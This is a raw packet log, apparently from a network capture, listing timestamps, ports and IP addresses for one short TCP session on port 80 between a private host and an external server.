Sep 1, 2024 01:30:05.156543970 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156547070 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156565905 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156593084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156604052 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156615019 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156645060 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156687021 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156702042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156712055 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156723022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156725883 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156734943 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156755924 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156758070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156785011 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156809092 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156810999 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156824112 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156836033 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156846046 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156862974 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156878948 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156896114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156907082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156917095 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156929016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156934023 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156939030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156950951 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.156960011 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.156984091 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157442093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157453060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157471895 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157476902 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157485008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157504082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157509089 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157515049 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157525063 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157536030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157536983 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157552958 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157569885 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157649994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157660961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157671928 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157681942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157684088 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157696009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157711983 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157741070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157742977 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157753944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157763004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157774925 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157807112 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157809019 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157819986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157830954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157859087 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157862902 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157892942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157903910 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157918930 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157918930 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157938004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.157953978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157963991 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.157999992 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158067942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158080101 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158090115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158099890 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158107042 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158117056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158133984 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158154011 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158174992 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158185959 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158195972 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158210039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158212900 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158236980 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158262014 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158277035 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158288002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158308983 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158315897 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158325911 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158328056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158339024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158350945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158375978 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.158436060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.158472061 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.175064087 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.175085068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.175097942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.175108910 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.175120115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.175132036 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.175142050 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.175143957 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.175158024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.175205946 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.211865902 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.211894989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.211904049 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.211924076 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.211946011 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.211946964 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.211956978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.211982965 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.211986065 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.211993933 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212004900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212013006 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.212039948 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.212234020 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212244034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212254047 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212268114 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.212295055 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.212296009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212306023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212321997 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212331057 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212332964 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.212342978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.212361097 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.212388039 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213063002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213073969 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213084936 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213099957 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213115931 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213154078 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213164091 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213175058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213185072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213191032 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213207006 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213232040 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213265896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213299036 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213321924 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213354111 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213402987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213419914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213430882 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213434935 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213448048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213449955 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213459015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213464975 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213469982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.213483095 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.213502884 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248035908 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248044968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248055935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248075008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248084068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248092890 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248106003 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248116016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248126984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248126984 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248147964 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248166084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248343945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248353958 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248363972 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248384953 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248395920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248405933 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248406887 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248415947 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248435020 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248459101 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248461962 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248496056 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248924971 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248934984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248944998 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248954058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248965025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248969078 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.248975992 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.248995066 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249010086 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249013901 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249023914 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249042034 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249046087 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249051094 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249061108 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249063969 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249079943 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249104023 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249120951 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249130011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249141932 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249151945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249151945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249167919 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249198914 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249207020 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249217033 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249228001 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249239922 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249249935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249258995 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249289989 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249305010 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249315023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249325991 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249336004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249357939 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249370098 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249402046 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249423981 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249433994 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249444008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249460936 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249464035 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249469995 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249489069 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249504089 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249541044 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249574900 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249604940 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249614954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249624968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249643087 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249669075 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249762058 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249772072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249782085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249794960 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249810934 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249830008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249840975 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249851942 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249861002 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249862909 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249876976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.249892950 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249917030 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.249983072 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250022888 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250031948 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250050068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250061989 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250070095 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250077963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250085115 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250088930 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250098944 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250101089 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250118971 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250140905 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250252008 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250291109 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250304937 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250325918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250340939 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250359058 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250380039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250390053 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250400066 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250420094 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250442982 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250463963 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250473976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250504971 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250674009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250696898 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250708103 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250710964 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250718117 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250729084 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250735044 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250751019 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250775099 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250778913 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250786066 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250804901 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250808001 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250816107 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250825882 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250840902 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250857115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250859022 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250868082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250893116 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250909090 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250921965 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250931978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250953913 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250967026 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.250967979 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.250998974 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.251036882 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.251072884 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.267672062 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.267707109 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.267718077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.267752886 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.267762899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.267771959 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.267776012 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.267781973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.267792940 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.267802954 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.267808914 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.267832041 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.267832041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.267863035 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.304263115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.304280996 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.304301023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.304306030 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.304323912 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.304341078 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 1, 2024 01:30:05.304398060 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.304408073 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.304419041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.304429054 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.304439068 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 1, 2024 01:30:05.304440975 CEST	49713	80	192.168.2.5	185.215.113.16
